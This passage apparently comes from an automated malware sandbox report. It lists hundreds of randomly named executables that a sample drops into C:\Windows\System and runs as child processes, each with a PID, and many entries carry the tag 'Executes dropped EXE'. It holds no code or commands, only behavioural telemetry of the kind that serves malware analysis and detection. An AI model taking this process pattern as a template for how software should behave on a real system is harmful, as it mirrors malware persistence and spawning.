  - Executes dropped EXE
  PID:3756
- C:\Windows\System\ZLbhPsg.exe
  C:\Windows\System\ZLbhPsg.exe
  2⤵
  - Executes dropped EXE
  PID:3852
- C:\Windows\System\dEeMEOb.exe
  C:\Windows\System\dEeMEOb.exe
  2⤵
  - Executes dropped EXE
  PID:4416
- C:\Windows\System\UWKHckr.exe
  C:\Windows\System\UWKHckr.exe
  2⤵
  - Executes dropped EXE
  PID:2656
- C:\Windows\System\pgwdeRi.exe
  C:\Windows\System\pgwdeRi.exe
  2⤵
  - Executes dropped EXE
  PID:4796
- C:\Windows\System\WhfXHuS.exe
  C:\Windows\System\WhfXHuS.exe
  2⤵
  - Executes dropped EXE
  PID:2320
- C:\Windows\System\oOxydXa.exe
  C:\Windows\System\oOxydXa.exe
  2⤵
  - Executes dropped EXE
  PID:2228
- C:\Windows\System\GZTaoeZ.exe
  C:\Windows\System\GZTaoeZ.exe
  2⤵
  - Executes dropped EXE
  PID:2392
- C:\Windows\System\SqxUUch.exe
  C:\Windows\System\SqxUUch.exe
  2⤵
  - Executes dropped EXE
  PID:2464
- C:\Windows\System\QybBrIh.exe
  C:\Windows\System\QybBrIh.exe
  2⤵
  - Executes dropped EXE
  PID:3096
- C:\Windows\System\VhurpqB.exe
  C:\Windows\System\VhurpqB.exe
  2⤵
  - Executes dropped EXE
  PID:2000
- C:\Windows\System\iMWngxr.exe
  C:\Windows\System\iMWngxr.exe
  2⤵
  - Executes dropped EXE
  PID:1668
- C:\Windows\System\wBrHQJv.exe
  C:\Windows\System\wBrHQJv.exe
  2⤵
  - Executes dropped EXE
  PID:1312
- C:\Windows\System\rTPUUwA.exe
  C:\Windows\System\rTPUUwA.exe
  2⤵
  - Executes dropped EXE
  PID:1004
- C:\Windows\System\ILOjilx.exe
  C:\Windows\System\ILOjilx.exe
  2⤵
  - Executes dropped EXE
  PID:1368
- C:\Windows\System\ylVzpim.exe
  C:\Windows\System\ylVzpim.exe
  2⤵
  - Executes dropped EXE
  PID:2280
- C:\Windows\System\EfcqDCy.exe
  C:\Windows\System\EfcqDCy.exe
  2⤵
  - Executes dropped EXE
  PID:2996
- C:\Windows\System\bYlmFmr.exe
  C:\Windows\System\bYlmFmr.exe
  2⤵
  - Executes dropped EXE
  PID:2920
- C:\Windows\System\hEuGXlx.exe
  C:\Windows\System\hEuGXlx.exe
  2⤵
  - Executes dropped EXE
  PID:2332
- C:\Windows\System\Rgverje.exe
  C:\Windows\System\Rgverje.exe
  2⤵
  - Executes dropped EXE
  PID:3976
- C:\Windows\System\xUqPhzD.exe
  C:\Windows\System\xUqPhzD.exe
  2⤵
  - Executes dropped EXE
  PID:3760
- C:\Windows\System\YixOSxP.exe
  C:\Windows\System\YixOSxP.exe
  2⤵
  - Executes dropped EXE
  PID:2764
- C:\Windows\System\bkNqMXw.exe
  C:\Windows\System\bkNqMXw.exe
  2⤵
  - Executes dropped EXE
  PID:808
- C:\Windows\System\dyKmUDK.exe
  C:\Windows\System\dyKmUDK.exe
  2⤵
  - Executes dropped EXE
  PID:3416
- C:\Windows\System\ZkMjHSh.exe
  C:\Windows\System\ZkMjHSh.exe
  2⤵
  - Executes dropped EXE
  PID:2096
- C:\Windows\System\pefvCrp.exe
  C:\Windows\System\pefvCrp.exe
  2⤵
  - Executes dropped EXE
  PID:1800
- C:\Windows\System\aWsxZJS.exe
  C:\Windows\System\aWsxZJS.exe
  2⤵
  - Executes dropped EXE
  PID:3936
- C:\Windows\System\dBFwYMb.exe
  C:\Windows\System\dBFwYMb.exe
  2⤵
  - Executes dropped EXE
  PID:3212
- C:\Windows\System\qKLsaTB.exe
  C:\Windows\System\qKLsaTB.exe
  2⤵
  - Executes dropped EXE
  PID:3480
- C:\Windows\System\DCzDOyt.exe
  C:\Windows\System\DCzDOyt.exe
  2⤵
  - Executes dropped EXE
  PID:4316
- C:\Windows\System\ZpBxkSk.exe
  C:\Windows\System\ZpBxkSk.exe
  2⤵
  - Executes dropped EXE
  PID:4036
- C:\Windows\System\UFPtQmD.exe
  C:\Windows\System\UFPtQmD.exe
  2⤵
  - Executes dropped EXE
  PID:1068
- C:\Windows\System\fvDnxUa.exe
  C:\Windows\System\fvDnxUa.exe
  2⤵
  PID:432
- C:\Windows\System\aIkAnBi.exe
  C:\Windows\System\aIkAnBi.exe
  2⤵
  PID:2360
- C:\Windows\System\UxdOqaN.exe
  C:\Windows\System\UxdOqaN.exe
  2⤵
  PID:3556
- C:\Windows\System\gDhOsSf.exe
  C:\Windows\System\gDhOsSf.exe
  2⤵
  PID:4552
- C:\Windows\System\yovvADv.exe
  C:\Windows\System\yovvADv.exe
  2⤵
  PID:1932
- C:\Windows\System\HmJsVbg.exe
  C:\Windows\System\HmJsVbg.exe
  2⤵
  PID:4380
- C:\Windows\System\NIsKZCa.exe
  C:\Windows\System\NIsKZCa.exe
  2⤵
  PID:1292
- C:\Windows\System\zXIOplp.exe
  C:\Windows\System\zXIOplp.exe
  2⤵
  PID:5132
- C:\Windows\System\eeafjyS.exe
  C:\Windows\System\eeafjyS.exe
  2⤵
  PID:5152
- C:\Windows\System\LRHTJzX.exe
  C:\Windows\System\LRHTJzX.exe
  2⤵
  PID:5184
- C:\Windows\System\QXrBTpD.exe
  C:\Windows\System\QXrBTpD.exe
  2⤵
  PID:5208
- C:\Windows\System\wFJvDOm.exe
  C:\Windows\System\wFJvDOm.exe
  2⤵
  PID:5232
- C:\Windows\System\DibJgzP.exe
  C:\Windows\System\DibJgzP.exe
  2⤵
  PID:5264
- C:\Windows\System\yoeChie.exe
  C:\Windows\System\yoeChie.exe
  2⤵
  PID:5292
- C:\Windows\System\IJwjDlg.exe
  C:\Windows\System\IJwjDlg.exe
  2⤵
  PID:5320
- C:\Windows\System\jwNsGKX.exe
  C:\Windows\System\jwNsGKX.exe
  2⤵
  PID:5348
- C:\Windows\System\JoAwmed.exe
  C:\Windows\System\JoAwmed.exe
  2⤵
  PID:5376
- C:\Windows\System\WMSKHHA.exe
  C:\Windows\System\WMSKHHA.exe
  2⤵
  PID:5404
- C:\Windows\System\WuXmkpU.exe
  C:\Windows\System\WuXmkpU.exe
  2⤵
  PID:5432
- C:\Windows\System\HfnlBFs.exe
  C:\Windows\System\HfnlBFs.exe
  2⤵
  PID:5460
- C:\Windows\System\QkTYCHV.exe
  C:\Windows\System\QkTYCHV.exe
  2⤵
  PID:5488
- C:\Windows\System\XgWnpXy.exe
  C:\Windows\System\XgWnpXy.exe
  2⤵
  PID:5520
- C:\Windows\System\TjxqIPz.exe
  C:\Windows\System\TjxqIPz.exe
  2⤵
  PID:5548
- C:\Windows\System\vHrQedm.exe
  C:\Windows\System\vHrQedm.exe
  2⤵
  PID:5572
- C:\Windows\System\rEgpweY.exe
  C:\Windows\System\rEgpweY.exe
  2⤵
  PID:5600
- C:\Windows\System\mbMBfMy.exe
  C:\Windows\System\mbMBfMy.exe
  2⤵
  PID:5628
- C:\Windows\System\TimuZaD.exe
  C:\Windows\System\TimuZaD.exe
  2⤵
  PID:5656
- C:\Windows\System\sQIaJck.exe
  C:\Windows\System\sQIaJck.exe
  2⤵
  PID:5684
- C:\Windows\System\qeFGQFD.exe
  C:\Windows\System\qeFGQFD.exe
  2⤵
  PID:5712
- C:\Windows\System\iAMAfFn.exe
  C:\Windows\System\iAMAfFn.exe
  2⤵
  PID:5740
- C:\Windows\System\iEPMfnY.exe
  C:\Windows\System\iEPMfnY.exe
  2⤵
  PID:5768
- C:\Windows\System\UzJbYMe.exe
  C:\Windows\System\UzJbYMe.exe
  2⤵
  PID:5800
- C:\Windows\System\eOzmSVD.exe
  C:\Windows\System\eOzmSVD.exe
  2⤵
  PID:5824
- C:\Windows\System\cxThQiP.exe
  C:\Windows\System\cxThQiP.exe
  2⤵
  PID:5852
- C:\Windows\System\vSOiBEL.exe
  C:\Windows\System\vSOiBEL.exe
  2⤵
  PID:5880
- C:\Windows\System\HTsgvse.exe
  C:\Windows\System\HTsgvse.exe
  2⤵
  PID:5912
- C:\Windows\System\AgEpNWr.exe
  C:\Windows\System\AgEpNWr.exe
  2⤵
  PID:5944
- C:\Windows\System\EWuRSJl.exe
  C:\Windows\System\EWuRSJl.exe
  2⤵
  PID:5972
- C:\Windows\System\HvkFLcs.exe
  C:\Windows\System\HvkFLcs.exe
  2⤵
  PID:6004
- C:\Windows\System\uydokRU.exe
  C:\Windows\System\uydokRU.exe
  2⤵
  PID:6032
- C:\Windows\System\GKqswdz.exe
  C:\Windows\System\GKqswdz.exe
  2⤵
  PID:6056
- C:\Windows\System\MdelVCV.exe
  C:\Windows\System\MdelVCV.exe
  2⤵
  PID:6084
- C:\Windows\System\lnGYJPM.exe
  C:\Windows\System\lnGYJPM.exe
  2⤵
  PID:6116
- C:\Windows\System\LWuquYT.exe
  C:\Windows\System\LWuquYT.exe
  2⤵
  PID:1672
- C:\Windows\System\pIKNpFy.exe
  C:\Windows\System\pIKNpFy.exe
  2⤵
  PID:732
- C:\Windows\System\topQzjc.exe
  C:\Windows\System\topQzjc.exe
  2⤵
  PID:3660
- C:\Windows\System\pTkOrUs.exe
  C:\Windows\System\pTkOrUs.exe
  2⤵
  PID:624
- C:\Windows\System\yYhydaa.exe
  C:\Windows\System\yYhydaa.exe
  2⤵
  PID:1296
- C:\Windows\System\kRBYjkS.exe
  C:\Windows\System\kRBYjkS.exe
  2⤵
  PID:5200
- C:\Windows\System\LPxyfUe.exe
  C:\Windows\System\LPxyfUe.exe
  2⤵
  PID:5260
- C:\Windows\System\uukOTFA.exe
  C:\Windows\System\uukOTFA.exe
  2⤵
  PID:5336
- C:\Windows\System\uKXWQWH.exe
  C:\Windows\System\uKXWQWH.exe
  2⤵
  PID:5372
- C:\Windows\System\QctFhzM.exe
  C:\Windows\System\QctFhzM.exe
  2⤵
  PID:5448
- C:\Windows\System\zmrxxOK.exe
  C:\Windows\System\zmrxxOK.exe
  2⤵
  PID:5508
- C:\Windows\System\vZRnYLz.exe
  C:\Windows\System\vZRnYLz.exe
  2⤵
  PID:5564
- C:\Windows\System\etwUJtS.exe
  C:\Windows\System\etwUJtS.exe
  2⤵
  PID:3216
- C:\Windows\System\LMKtEpt.exe
  C:\Windows\System\LMKtEpt.exe
  2⤵
  PID:5672
- C:\Windows\System\PHDQmCj.exe
  C:\Windows\System\PHDQmCj.exe
  2⤵
  PID:5728
- C:\Windows\System\trBmDXm.exe
  C:\Windows\System\trBmDXm.exe
  2⤵
  PID:5764
- C:\Windows\System\buChrRw.exe
  C:\Windows\System\buChrRw.exe
  2⤵
  PID:5816
- C:\Windows\System\cJLxVrE.exe
  C:\Windows\System\cJLxVrE.exe
  2⤵
  PID:5876
- C:\Windows\System\HHrgjTD.exe
  C:\Windows\System\HHrgjTD.exe
  2⤵
  PID:5936
- C:\Windows\System\bELBGAn.exe
  C:\Windows\System\bELBGAn.exe
  2⤵
  PID:5992
- C:\Windows\System\ElmbssD.exe
  C:\Windows\System\ElmbssD.exe
  2⤵
  PID:6052
- C:\Windows\System\RaxEnBM.exe
  C:\Windows\System\RaxEnBM.exe
  2⤵
  PID:6112
- C:\Windows\System\lqqdNJc.exe
  C:\Windows\System\lqqdNJc.exe
  2⤵
  PID:4228
- C:\Windows\System\dwWhkmU.exe
  C:\Windows\System\dwWhkmU.exe
  2⤵
  PID:5020
- C:\Windows\System\ZAdTumd.exe
  C:\Windows\System\ZAdTumd.exe
  2⤵
  PID:1432
- C:\Windows\System\CWjhSkB.exe
  C:\Windows\System\CWjhSkB.exe
  2⤵
  PID:5228
- C:\Windows\System\QDSqLkJ.exe
  C:\Windows\System\QDSqLkJ.exe
  2⤵
  PID:5316
- C:\Windows\System\MmjvtWg.exe
  C:\Windows\System\MmjvtWg.exe
  2⤵
  PID:5084
- C:\Windows\System\aEwWVhs.exe
  C:\Windows\System\aEwWVhs.exe
  2⤵
  PID:5588
- C:\Windows\System\fELdVCV.exe
  C:\Windows\System\fELdVCV.exe
  2⤵
  PID:5652
- C:\Windows\System\yipeWYg.exe
  C:\Windows\System\yipeWYg.exe
  2⤵
  PID:2152
- C:\Windows\System\eTPFSmH.exe
  C:\Windows\System\eTPFSmH.exe
  2⤵
  PID:5928
- C:\Windows\System\JwNXTwm.exe
  C:\Windows\System\JwNXTwm.exe
  2⤵
  PID:5988
- C:\Windows\System\HBlwThh.exe
  C:\Windows\System\HBlwThh.exe
  2⤵
  PID:3084
- C:\Windows\System\JjYvmMj.exe
  C:\Windows\System\JjYvmMj.exe
  2⤵
  PID:1928
- C:\Windows\System\ApAuNyV.exe
  C:\Windows\System\ApAuNyV.exe
  2⤵
  PID:2676
- C:\Windows\System\RWZPdFR.exe
  C:\Windows\System\RWZPdFR.exe
  2⤵
  PID:3016
- C:\Windows\System\oVaPxJE.exe
  C:\Windows\System\oVaPxJE.exe
  2⤵
  PID:5308
- C:\Windows\System\ikoLquP.exe
  C:\Windows\System\ikoLquP.exe
  2⤵
  PID:3644
- C:\Windows\System\XwLGJKe.exe
  C:\Windows\System\XwLGJKe.exe
  2⤵
  PID:5644
- C:\Windows\System\ekAVmIg.exe
  C:\Windows\System\ekAVmIg.exe
  2⤵
  PID:1436
- C:\Windows\System\tmDNRvb.exe
  C:\Windows\System\tmDNRvb.exe
  2⤵
  PID:3560
- C:\Windows\System\sHeqQQT.exe
  C:\Windows\System\sHeqQQT.exe
  2⤵
  PID:764
- C:\Windows\System\gFYRWhT.exe
  C:\Windows\System\gFYRWhT.exe
  2⤵
  PID:5068
- C:\Windows\System\wnUKLAR.exe
  C:\Windows\System\wnUKLAR.exe
  2⤵
  PID:2976
- C:\Windows\System\FaCQwkw.exe
  C:\Windows\System\FaCQwkw.exe
  2⤵
  PID:2416
- C:\Windows\System\OuQgGOZ.exe
  C:\Windows\System\OuQgGOZ.exe
  2⤵
  PID:4488
- C:\Windows\System\HRHyKYd.exe
  C:\Windows\System\HRHyKYd.exe
  2⤵
  PID:5368
- C:\Windows\System\DLMdOgV.exe
  C:\Windows\System\DLMdOgV.exe
  2⤵
  PID:5560
- C:\Windows\System\AWTwIGC.exe
  C:\Windows\System\AWTwIGC.exe
  2⤵
  PID:5708
- C:\Windows\System\iDLDZcZ.exe
  C:\Windows\System\iDLDZcZ.exe
  2⤵
  PID:5016
- C:\Windows\System\fKaBGpJ.exe
  C:\Windows\System\fKaBGpJ.exe
  2⤵
  PID:6048
- C:\Windows\System\apForKS.exe
  C:\Windows\System\apForKS.exe
  2⤵
  PID:1196
- C:\Windows\System\nUyTcbc.exe
  C:\Windows\System\nUyTcbc.exe
  2⤵
  PID:4924
- C:\Windows\System\joroynV.exe
  C:\Windows\System\joroynV.exe
  2⤵
  PID:6156
- C:\Windows\System\cWeurSt.exe
  C:\Windows\System\cWeurSt.exe
  2⤵
  PID:6176
- C:\Windows\System\ejRJxcW.exe
  C:\Windows\System\ejRJxcW.exe
  2⤵
  PID:6196
- C:\Windows\System\PURPmLX.exe
  C:\Windows\System\PURPmLX.exe
  2⤵
  PID:6248
- C:\Windows\System\cZcMQGM.exe
  C:\Windows\System\cZcMQGM.exe
  2⤵
  PID:6276
- C:\Windows\System\PXCEtTK.exe
  C:\Windows\System\PXCEtTK.exe
  2⤵
  PID:6304
- C:\Windows\System\VNTcQyG.exe
  C:\Windows\System\VNTcQyG.exe
  2⤵
  PID:6348
- C:\Windows\System\QJnfvIC.exe
  C:\Windows\System\QJnfvIC.exe
  2⤵
  PID:6368
- C:\Windows\System\cYZPQvU.exe
  C:\Windows\System\cYZPQvU.exe
  2⤵
  PID:6396
- C:\Windows\System\KPnTSXJ.exe
  C:\Windows\System\KPnTSXJ.exe
  2⤵
  PID:6420
- C:\Windows\System\FfVgTcj.exe
  C:\Windows\System\FfVgTcj.exe
  2⤵
  PID:6444
- C:\Windows\System\GzSNJcU.exe
  C:\Windows\System\GzSNJcU.exe
  2⤵
  PID:6472
- C:\Windows\System\RArjqLV.exe
  C:\Windows\System\RArjqLV.exe
  2⤵
  PID:6512
- C:\Windows\System\EuAVgGL.exe
  C:\Windows\System\EuAVgGL.exe
  2⤵
  PID:6540
- C:\Windows\System\BJGXvck.exe
  C:\Windows\System\BJGXvck.exe
  2⤵
  PID:6556
- C:\Windows\System\NCYXeAa.exe
  C:\Windows\System\NCYXeAa.exe
  2⤵
  PID:6584
- C:\Windows\System\zXVAzZd.exe
  C:\Windows\System\zXVAzZd.exe
  2⤵
  PID:6604
- C:\Windows\System\OpKnBIh.exe
  C:\Windows\System\OpKnBIh.exe
  2⤵
  PID:6624
- C:\Windows\System\wLdqCFq.exe
  C:\Windows\System\wLdqCFq.exe
  2⤵
  PID:6644
- C:\Windows\System\yFxxrvc.exe
  C:\Windows\System\yFxxrvc.exe
  2⤵
  PID:6664
- C:\Windows\System\XIVxsIl.exe
  C:\Windows\System\XIVxsIl.exe
  2⤵
  PID:6684
- C:\Windows\System\ZRQUoof.exe
  C:\Windows\System\ZRQUoof.exe
  2⤵
  PID:6728
- C:\Windows\System\qEzMjGM.exe
  C:\Windows\System\qEzMjGM.exe
  2⤵
  PID:6752
- C:\Windows\System\ioHrqOO.exe
  C:\Windows\System\ioHrqOO.exe
  2⤵
  PID:6820
- C:\Windows\System\pJXmIfb.exe
  C:\Windows\System\pJXmIfb.exe
  2⤵
  PID:6844
- C:\Windows\System\bAWCDcN.exe
  C:\Windows\System\bAWCDcN.exe
  2⤵
  PID:6888
- C:\Windows\System\XvCWqgu.exe
  C:\Windows\System\XvCWqgu.exe
  2⤵
  PID:6916
- C:\Windows\System\pmggteu.exe
  C:\Windows\System\pmggteu.exe
  2⤵
  PID:6940
- C:\Windows\System\wHxqHtt.exe
  C:\Windows\System\wHxqHtt.exe
  2⤵
  PID:6964
- C:\Windows\System\uqDpdKr.exe
  C:\Windows\System\uqDpdKr.exe
  2⤵
  PID:6988
- C:\Windows\System\TJiCGtF.exe
  C:\Windows\System\TJiCGtF.exe
  2⤵
  PID:7028
- C:\Windows\System\YwWWBwX.exe
  C:\Windows\System\YwWWBwX.exe
  2⤵
  PID:7056
- C:\Windows\System\gisVfIJ.exe
  C:\Windows\System\gisVfIJ.exe
  2⤵
  PID:7080
- C:\Windows\System\XkZebla.exe
  C:\Windows\System\XkZebla.exe
  2⤵
  PID:7104
- C:\Windows\System\fIvgAbj.exe
  C:\Windows\System\fIvgAbj.exe
  2⤵
  PID:7120
- C:\Windows\System\XKpWecX.exe
  C:\Windows\System\XKpWecX.exe
  2⤵
  PID:6240
- C:\Windows\System\LGtNtZz.exe
  C:\Windows\System\LGtNtZz.exe
  2⤵
  PID:6168
- C:\Windows\System\pccIpbH.exe
  C:\Windows\System\pccIpbH.exe
  2⤵
  PID:6312
- C:\Windows\System\VPsTKIx.exe
  C:\Windows\System\VPsTKIx.exe
  2⤵
  PID:6328
- C:\Windows\System\GlODqPc.exe
  C:\Windows\System\GlODqPc.exe
  2⤵
  PID:6416
- C:\Windows\System\zctXgtl.exe
  C:\Windows\System\zctXgtl.exe
  2⤵
  PID:6492
- C:\Windows\System\QFEvqua.exe
  C:\Windows\System\QFEvqua.exe
  2⤵
  PID:6552
- C:\Windows\System\sfjoyzS.exe
  C:\Windows\System\sfjoyzS.exe
  2⤵
  PID:6612
- C:\Windows\System\QlDBLuK.exe
  C:\Windows\System\QlDBLuK.exe
  2⤵
  PID:6676
- C:\Windows\System\xRpRizA.exe
  C:\Windows\System\xRpRizA.exe
  2⤵
  PID:6636
- C:\Windows\System\qgBtWrL.exe
  C:\Windows\System\qgBtWrL.exe
  2⤵
  PID:6748
- C:\Windows\System\flSHKvk.exe
  C:\Windows\System\flSHKvk.exe
  2⤵
  PID:6780
- C:\Windows\System\USXJkFa.exe
  C:\Windows\System\USXJkFa.exe
  2⤵
  PID:6860
- C:\Windows\System\hBvyeJR.exe
  C:\Windows\System\hBvyeJR.exe
  2⤵
  PID:6936
- C:\Windows\System\sbzJvfu.exe
  C:\Windows\System\sbzJvfu.exe
  2⤵
  PID:6980
- C:\Windows\System\XlwBXNQ.exe
  C:\Windows\System\XlwBXNQ.exe
  2⤵
  PID:7092
- C:\Windows\System\BFvwJKc.exe
  C:\Windows\System\BFvwJKc.exe
  2⤵
  PID:3604
- C:\Windows\System\bloqTHp.exe
  C:\Windows\System\bloqTHp.exe
  2⤵
  PID:6356
- C:\Windows\System\ajmYvFz.exe
  C:\Windows\System\ajmYvFz.exe
  2⤵
  PID:6440
- C:\Windows\System\DrdXKnz.exe
  C:\Windows\System\DrdXKnz.exe
  2⤵
  PID:6596
- C:\Windows\System\tGiEHnN.exe
  C:\Windows\System\tGiEHnN.exe
  2⤵
  PID:6640
- C:\Windows\System\quZSPjv.exe
  C:\Windows\System\quZSPjv.exe
  2⤵
  PID:6720
- C:\Windows\System\bNZhZtx.exe
  C:\Windows\System\bNZhZtx.exe
  2⤵
  PID:7068
- C:\Windows\System\zqPMHBP.exe
  C:\Windows\System\zqPMHBP.exe
  2⤵
  PID:7100
- C:\Windows\System\FMCNxSn.exe
  C:\Windows\System\FMCNxSn.exe
  2⤵
  PID:6336
- C:\Windows\System\EcYXTxT.exe
  C:\Windows\System\EcYXTxT.exe
  2⤵
  PID:6532
- C:\Windows\System\tYrdXMX.exe
  C:\Windows\System\tYrdXMX.exe
  2⤵
  PID:6272
- C:\Windows\System\jxhvkOu.exe
  C:\Windows\System\jxhvkOu.exe
  2⤵
  PID:6836
- C:\Windows\System\hFhlaah.exe
  C:\Windows\System\hFhlaah.exe
  2⤵
  PID:7188
- C:\Windows\System\BggERDt.exe
  C:\Windows\System\BggERDt.exe
  2⤵
  PID:7244
- C:\Windows\System\CGbUPSz.exe
  C:\Windows\System\CGbUPSz.exe
  2⤵
  PID:7264
- C:\Windows\System\YeUaLGv.exe
  C:\Windows\System\YeUaLGv.exe
  2⤵
  PID:7296
- C:\Windows\System\lCyPBfF.exe
  C:\Windows\System\lCyPBfF.exe
  2⤵
  PID:7320
- C:\Windows\System\JJoaGoc.exe
  C:\Windows\System\JJoaGoc.exe
  2⤵
  PID:7340
- C:\Windows\System\tebPDSa.exe
  C:\Windows\System\tebPDSa.exe
  2⤵
  PID:7364
- C:\Windows\System\QwvuvSq.exe
  C:\Windows\System\QwvuvSq.exe
  2⤵
  PID:7384
- C:\Windows\System\LgCnqHC.exe
  C:\Windows\System\LgCnqHC.exe
  2⤵
  PID:7412
- C:\Windows\System\YplrKvK.exe
  C:\Windows\System\YplrKvK.exe
  2⤵
  PID:7440
- C:\Windows\System\aTUwtvF.exe
  C:\Windows\System\aTUwtvF.exe
  2⤵
  PID:7460
- C:\Windows\System\tHnnHGA.exe
  C:\Windows\System\tHnnHGA.exe
  2⤵
  PID:7484
- C:\Windows\System\eQHflmH.exe
  C:\Windows\System\eQHflmH.exe
  2⤵
  PID:7504
- C:\Windows\System\ignPgkz.exe
  C:\Windows\System\ignPgkz.exe
  2⤵
  PID:7528
- C:\Windows\System\FFzYhEj.exe
  C:\Windows\System\FFzYhEj.exe
  2⤵
  PID:7548
- C:\Windows\System\xeLCqGZ.exe
  C:\Windows\System\xeLCqGZ.exe
  2⤵
  PID:7572
- C:\Windows\System\YyeJYAE.exe
  C:\Windows\System\YyeJYAE.exe
  2⤵
  PID:7608
- C:\Windows\System\iNKAUNC.exe
  C:\Windows\System\iNKAUNC.exe
  2⤵
  PID:7660
- C:\Windows\System\PwtjAmB.exe
  C:\Windows\System\PwtjAmB.exe
  2⤵
  PID:7696
- C:\Windows\System\zTKremw.exe
  C:\Windows\System\zTKremw.exe
  2⤵
  PID:7748
- C:\Windows\System\pXyXCCu.exe
  C:\Windows\System\pXyXCCu.exe
  2⤵
  PID:7772
- C:\Windows\System\FGdIbTt.exe
  C:\Windows\System\FGdIbTt.exe
  2⤵
  PID:7792
- C:\Windows\System\YMBZrWD.exe
  C:\Windows\System\YMBZrWD.exe
  2⤵
  PID:7808
- C:\Windows\System\FhmxjuR.exe
  C:\Windows\System\FhmxjuR.exe
  2⤵
  PID:7860
- C:\Windows\System\nmHYXQL.exe
  C:\Windows\System\nmHYXQL.exe
  2⤵
  PID:7876
- C:\Windows\System\SzUPgEK.exe
  C:\Windows\System\SzUPgEK.exe
  2⤵
  PID:7908
- C:\Windows\System\hrVUsJi.exe
  C:\Windows\System\hrVUsJi.exe
  2⤵
  PID:7932
- C:\Windows\System\AvYPlkw.exe
  C:\Windows\System\AvYPlkw.exe
  2⤵
  PID:7952
- C:\Windows\System\GcNmHgH.exe
  C:\Windows\System\GcNmHgH.exe
  2⤵
  PID:7980
- C:\Windows\System\DCdQHxc.exe
  C:\Windows\System\DCdQHxc.exe
  2⤵
  PID:7996
- C:\Windows\System\sYCletv.exe
  C:\Windows\System\sYCletv.exe
  2⤵
  PID:8056
- C:\Windows\System\bXvoiFS.exe
  C:\Windows\System\bXvoiFS.exe
  2⤵
  PID:8084
- C:\Windows\System\WxKEakq.exe
  C:\Windows\System\WxKEakq.exe
  2⤵
  PID:8104
- C:\Windows\System\aHcOQWl.exe
  C:\Windows\System\aHcOQWl.exe
  2⤵
  PID:8128
- C:\Windows\System\UlcdAej.exe
  C:\Windows\System\UlcdAej.exe
  2⤵
  PID:8164
- C:\Windows\System\cHsRyJO.exe
  C:\Windows\System\cHsRyJO.exe
  2⤵
  PID:8180
- C:\Windows\System\vCOJAMm.exe
  C:\Windows\System\vCOJAMm.exe
  2⤵
  PID:7204
- C:\Windows\System\zJmXHHJ.exe
  C:\Windows\System\zJmXHHJ.exe
  2⤵
  PID:7228
- C:\Windows\System\rxcRAtG.exe
  C:\Windows\System\rxcRAtG.exe
  2⤵
  PID:7332
- C:\Windows\System\grmGamZ.exe
  C:\Windows\System\grmGamZ.exe
  2⤵
  PID:7380
- C:\Windows\System\aRhVjZF.exe
  C:\Windows\System\aRhVjZF.exe
  2⤵
  PID:7496
- C:\Windows\System\RvdOkUP.exe
  C:\Windows\System\RvdOkUP.exe
  2⤵
  PID:7616
- C:\Windows\System\uglvoxb.exe
  C:\Windows\System\uglvoxb.exe
  2⤵
  PID:7568
- C:\Windows\System\NsUporM.exe
  C:\Windows\System\NsUporM.exe
  2⤵
  PID:7652
- C:\Windows\System\ruGssVt.exe
  C:\Windows\System\ruGssVt.exe
  2⤵
  PID:7768
- C:\Windows\System\PFAPGPW.exe
  C:\Windows\System\PFAPGPW.exe
  2⤵
  PID:7816
- C:\Windows\System\lCWpSWB.exe
  C:\Windows\System\lCWpSWB.exe
  2⤵
  PID:7800
- C:\Windows\System\wBABkwf.exe
  C:\Windows\System\wBABkwf.exe
  2⤵
  PID:7960
- C:\Windows\System\VWCkHGa.exe
  C:\Windows\System\VWCkHGa.exe
  2⤵
  PID:7944
- C:\Windows\System\tHzbIKJ.exe
  C:\Windows\System\tHzbIKJ.exe
  2⤵
  PID:8004
- C:\Windows\System\wQhevqO.exe
  C:\Windows\System\wQhevqO.exe
  2⤵
  PID:8040
- C:\Windows\System\hViGESK.exe
  C:\Windows\System\hViGESK.exe
  2⤵
  PID:8100
- C:\Windows\System\NaEGgBw.exe
  C:\Windows\System\NaEGgBw.exe
  2⤵
  PID:8152
- C:\Windows\System\gLmNWqX.exe
  C:\Windows\System\gLmNWqX.exe
  2⤵
  PID:7316
- C:\Windows\System\WUHjVhf.exe
  C:\Windows\System\WUHjVhf.exe
  2⤵
  PID:7428
- C:\Windows\System\bwOqDtP.exe
  C:\Windows\System\bwOqDtP.exe
  2⤵
  PID:7432
- C:\Windows\System\TOBIlbK.exe
  C:\Windows\System\TOBIlbK.exe
  2⤵
  PID:7544
- C:\Windows\System\GAqqtXE.exe
  C:\Windows\System\GAqqtXE.exe
  2⤵
  PID:7716
- C:\Windows\System\nOcSJQQ.exe
  C:\Windows\System\nOcSJQQ.exe
  2⤵
  PID:7884
- C:\Windows\System\ZPIDnQp.exe
  C:\Windows\System\ZPIDnQp.exe
  2⤵
  PID:7684
- C:\Windows\System\SapLAGH.exe
  C:\Windows\System\SapLAGH.exe
  2⤵
  PID:8096
- C:\Windows\System\kpEzpAy.exe
  C:\Windows\System\kpEzpAy.exe
  2⤵
  PID:7848
- C:\Windows\System\ZNTNxAq.exe
  C:\Windows\System\ZNTNxAq.exe
  2⤵
  PID:7916
- C:\Windows\System\FRmMfmQ.exe
  C:\Windows\System\FRmMfmQ.exe
  2⤵
  PID:8224
- C:\Windows\System\tqtaHWa.exe
  C:\Windows\System\tqtaHWa.exe
  2⤵
  PID:8244
- C:\Windows\System\jdOzXfE.exe
  C:\Windows\System\jdOzXfE.exe
  2⤵
  PID:8268
- C:\Windows\System\TQoxZGb.exe
  C:\Windows\System\TQoxZGb.exe
  2⤵
  PID:8300
- C:\Windows\System\XFOoxhI.exe
  C:\Windows\System\XFOoxhI.exe
  2⤵
  PID:8324
- C:\Windows\System\ntNtCmG.exe
  C:\Windows\System\ntNtCmG.exe
  2⤵
  PID:8344
- C:\Windows\System\onvVcbh.exe
  C:\Windows\System\onvVcbh.exe
  2⤵
  PID:8364
- C:\Windows\System\gleioHF.exe
  C:\Windows\System\gleioHF.exe
  2⤵
  PID:8384
- C:\Windows\System\KRWnPOR.exe
  C:\Windows\System\KRWnPOR.exe
  2⤵
  PID:8424
- C:\Windows\System\QRXzNob.exe
  C:\Windows\System\QRXzNob.exe
  2⤵
  PID:8452
- C:\Windows\System\bOVBUKG.exe
  C:\Windows\System\bOVBUKG.exe
  2⤵
  PID:8468
- C:\Windows\System\NRtsSxM.exe
  C:\Windows\System\NRtsSxM.exe
  2⤵
  PID:8552
- C:\Windows\System\XizykgS.exe
  C:\Windows\System\XizykgS.exe
  2⤵
  PID:8572
- C:\Windows\System\RpZfEzq.exe
  C:\Windows\System\RpZfEzq.exe
  2⤵
  PID:8600
- C:\Windows\System\deVjlCN.exe
